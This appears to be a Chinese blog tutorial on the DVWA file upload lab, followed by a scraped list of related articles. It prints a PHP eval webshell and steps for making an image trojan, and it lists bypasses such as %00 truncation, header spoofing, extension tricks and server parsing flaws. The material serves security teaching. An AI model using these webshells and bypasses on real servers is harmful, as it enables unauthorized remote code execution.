文件上传漏洞定义
文件上传漏洞通常是由于上传文件的类型、内容没有进行严格的过滤检查,使得可以通过上传webshell获取服务器权限,因此文件上传漏洞带来的危害通常是毁灭性的。
文件上传漏洞的前提

  1. 能上传的木马
  2. 上传的木马可执行
  3. 还要清楚上传后的路径

实现过程
LOW级别
源码

basename(path,suffix):返回path中的文件名部分,如果可选参数suffix为空,则返回的文件名中包含文件后缀名,反之不包含文件后缀名。
由源码可知暂时并没有进行任何过滤;

(1)创建1.php并上传
1.php:<?php phpinfo();?>

可发现上传成功,服务器未做任何限制,此时再次访问上传路径
http://192.168.254.128/dvwa/hackable/uploads/1.php#

上传并执行php文件,说明存在文件上传漏洞
(2)上传一句话木马
b.php:<?php @eval($_POST[cmd]);?>

http://192.168.254.128/dvwa/hackable/uploads/b.php#

页面没有报错说明上传成功
打开中国菜刀,并且写入路径

路径:http://192.168.254.128/dvwa/hackable/uploads/b.php

拿到反弹shell
medium级别
源码

可见在源码中对上传文件的大小和类型进行了限制;
解决办法
1、burpsuit抓包修改
实验过程
对比上传成功的数据包和上传失败的数据包
上传成功的数据包

上传失败的数据包

对上传失败的数据包进行修改,便可上传成功


后续在菜刀里面运行便可;
[也可先上传b.jpeg,在抓包中再修改文件名]

2、%00截断绕过
实验过程
%00截断绕过,此时,服务器会将low.php%00.png认为其文件名为low.php,解析为PHP文件(仅限于PHP版本小于5.3.4的版本)



high级别
源码

substr():返回字符串的一部分;
$uploaded_ext:等于文件的后缀名;
getimagesize(string filename):函数会通过读取文件头,返回图片的长、宽等信息,如果没有相关的图片文件头,函数会报错。
getimagesize():函数限制了上传文件的文件头(限制了文件的大小及图片尺寸)。
High安全等级采用白名单过滤,只允许上传的文件后缀名为jpg、jpeg、png且文件大小小于100000字节。

绕过方法
制作图片木马,文件上传与文件包含结合
copy 1.jpg/b + a.php/a 1a.jpeg
//1.jpg :任一图片
//b:二进制
// a.php :一句话木马
//a:ASCII 生成1a.jpeg

a.php :一句话木马

生成图片马,上传文件


使用文件包含执行图片马(此时kali开始监听)
http://192.168.254.128/dvwa/vulnerabilities/fi/?page=file:///C:/phpStudy/PHPTutorial/WWW/dvwa/hackable/uploads/1a.jpeg

查看监听结果(脚本已经执行,但是未连接成功是因为脚本内容问题,与操作无关)

impossible级别
(1)上传文件进行了重命名(为md5值,导致%00截断无法绕过过滤规则);
(2)加入Anti-CSRF token防护CSRF攻击;
(3)对文件的内容做了严格的检查,导致攻击者无法上传含有恶意脚本的文件;
文件上传校验
客户端校验:
javascript校验(一般只校验后缀名)
服务端校验:

(1) 文件头content—type字段校验(image/gif)
(2) 文件内容头校验(GIF89a)
(3) 后缀名黑名单校验
(4) 后缀名白名单校验
(5) 自定义正则校验
(6) WAF(网络入侵级防御系统)设备校验

文件上传绕过手段
1、客户端绕过
可以利用burp抓包改包,先上传一个gif类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可;
2、服务端绕过
(1) 文件类型绕过:burp抓包,将content—type字段改为image/gif
(2) 文件头绕过:在木马内容基础上再加了一些文件信息,eg:GIF98a<php phpinfo();?>
(3) 文件后缀名绕过:
前提黑名单校验(一般有个专门的blacklist文件,里面包含常见的危险脚本文件),
绕过方法:
找黑名单扩展名的漏网之鱼,eg:asa和cer之类
可能存在大小写绕过漏洞,eg:aSp和pHp之类
能被解析的文件扩展名列表:jsp jspx jspf asp asa cer aspx php pht php3 php4
3、 配合文件包含漏洞
前提:校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马;
绕过方式:(以php为例)
(1) 先上传一个内容为木马的txt后缀文件,因为后缀名的关系没有检验内容;
(2) 然后再上传一个.php文件,内容为<?php include(“上传的txt文件路径”);?>
(3) 此时,这个php文件就回去引用txt文件的内容,从而绕过校验;
4、 配合服务器解析漏洞
IIS解析漏洞
使用IIS5.x-6.x版本的服务器,大多为2003server,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件;
目录解析:www.xxx.com/xx.asp/xx.jpg
原理:服务器会默认把.asp,.asa目录下的文件都解析成asp文件
文件解析:www.xxx.com/xx.asp;.jpg
原理:服务器会默认不解析;后面的内容;
解析文件类型:
IIS6.0默认的可执行文件(asp、/test.asa,/test.cer,/test.cdx)
Apache解析漏洞
原理:apache解析文件的规则是从左向右开始判断解析,如果后缀名为不可识别文件解析,就再往左判断;
Eg:www.xxx.com/test.php.owf.rar
由于rar,owf都不可识别解析,所以解析成php
其余配置问题导致的漏洞:
conf:
AddHandlerphp5-script.php 此时只要文件名包含.php就会以php来执行;
AddTypeapplication/x-httpd-php.jpg 即使扩展名是jpg,一样能以php方式执行;
5、 配合操作系统文件命令规则
上传不符合windows文件命名规则的文件名,会被windows系统自动去掉不符合规则符号后面的内容;
eg:(test.asp,test.asp(空格),test.php:1.jpg)

6、 CMS、编辑器漏洞
(1) CMS漏洞:可针对不同CMS存在的上传漏洞进行绕过;
(2) 编辑器漏洞:(eg:FCK、ewebeditor) 可针对编辑器的漏洞进行绕过;

7、 配合其他规则
(1)0x00截断:基于一个组合逻辑漏洞造成的,通常存在于构建上传文件路径的时候,路径/upload/1.php(0x00),文件名1.jpg,结合/upload/1.php(0x00)/1.jpg
(2).htaccess(上传当前目录的该文件)
AddTtye aaplication/x-http-php.jpg(上传的jpg均以php执行)

嗯嗯~~就这么多了

DVWA--文件上传漏洞相关推荐

  1. 上传漏洞(一句话木马、中国菜刀使用、DVWA文件上传漏洞利用)

    1.常见漏洞分类 2.常见验证手段 可抓包后修改扩展名为图片格式,再上传可绕过验证.如: 可以修改php文件后缀为其他,再上传.如test.php.xxx  可对图片文件添加一句话木马,再修改为.ph ...

  2. Web安全-文件上传漏洞与WAF绕过

    文章目录 概述 Webshell简述 上传漏洞原理 上传漏洞绕过 解析漏洞 IIS 6.0解析漏洞 Apache解析漏洞 Nginx解析漏洞 Windows文件命名 客户端检测绕过 更改前端JS代码 ...

  3. 【Web安全】中国蚁剑+DVWA(本地文件上传漏洞Upload)

    文章目录 1 中国蚁剑 2 文件上传漏洞(Upload) 2.1 准备hack.php 2.2 从DVWA上传hack.php 3 使用蚁剑来连接获得webshell 1 中国蚁剑 中国蚁剑是一款开源 ...

  4. 文件上传漏洞——DVWA练习

    前言:文件上传漏洞是很常见的漏洞,也非常有趣,接下来就在DVWA靶场中边学边练. 文件上传漏洞: 文件上传漏洞是指由于程序员在对用户文件上传部分的控制不足或者处理缺陷,而导致的用户可以越过其本身权限向 ...

  5. DVWA靶机-文件上传漏洞(File Upload)

    DVWA靶机-文件上传漏洞(File Upload) 文件上传漏洞的四个等级,low,medium,high,impossible,今天我们针对于不同的等级进行基于文件上传漏洞的攻击 DVWA靶机-暴 ...

  6. DVWA的搭建以及文件上传漏洞各个等级测试

    文章目录 DVWA的安装环境 下载DVWA DVWA--File Upload Low级别测试 medium级别测试 High级别测试 制作一句话图片木马 DVWA的安装环境 phpstudy 集成了 ...

  7. dvwa小马上传大马php,集训第六天:文件上传漏洞

    韩舒学姐(相当温柔)今天给我们讲解了文件上传漏洞,以及Anrwsord和Cknife等工具的使用. 上传的文件不进行限制,有可能会被利用于上传可执行文件.脚本到服务器上,并且通过脚本文件可以获得执行服 ...

  8. dvwa中的文件上传漏洞

    环境: Metasploitable2: 192.168.11.157 dvwa版本:Version 1.0.7 (Release date: 08/09/10) kail机器:192.168.11. ...

  9. DVWA之PHP文件上传漏洞(File Upload)

    文件上传漏洞是指由于服务器对于用户上传部分的控制不严格导致攻击者可以上传一个恶意的可执行的文件到服务器.简单点说,就是用户直接或者通过各种绕过方式将webshell上传到服务器中进而执行利用. 首先保 ...

  10. 基于DVWA文件上传,包含漏洞,上传一句话木马基础分析

    木马 <?php @eval($_POST[value]); ?> 这是这个php程序,这个名字源于古希腊的传说这里就不说了,等于是一个别人家服务器在管理者不知情的情况下给你开了个后门你就 ...

最新文章

  1. [转]C# 2.0新特性与C# 3.5新特性
  2. 为什么Rust连续4年获“最受喜爱编程语言”?
  3. jupyter配置默认启动目录
  4. 月读の自动读取 根据注释解析列名和字典
  5. golang中的TestMain
  6. Math,random()返回区间内的随机数
  7. 后端生成Token架构与设计详解
  8. 深究AngularJS——排序
  9. map multimapc++_黑马C++视频笔记《STL之map/multimap》
  10. Linux进阶之路————Linux磁盘分区与挂载
  11. 计算机网络的自我介绍和评价,计算机网络自我介绍范文
  12. pandas 非聚合函数
  13. spark练习之统计广告Top3
  14. 计算机老掉线 路由器网络,路由器无线掉线怎么办?
  15. Go切片(slices)
  16. 【Windows 问题系列第 12 篇】Windows 10 如何显示文件名后缀
  17. 深入浅出SpringCloud
  18. 【学习记录】使用多协程和队列,爬取时光网电视剧TOP100的数据
  19. 由滤波器系数绘制尺度函数和小波函数图像的Matlab程序
  20. 经济-一文看懂经济学进化史:经济学的四次革命

热门文章

  1. 【PP操作手册】试制计划
  2. SAP推出SAP Digital Boardroom
  3. 1984钻石一代NBA选秀
  4. SAP的client概念
  5. ABAP程序设计的一点建议
  6. 让你的英语口语妙语连珠的句子
  7. 2020前三季度各省市人均收入来了!看看你的家乡排第几?
  8. 从行业龙头到世界500强,中国科技企业要跨过哪些坎?
  9. matlab求解极限与倒数,matlab实验二__极限与导数
  10. mysql plugin filed_MySQL启动时报Plugin 'InnoDB' registration as a STORAGE ENGINE failed.错误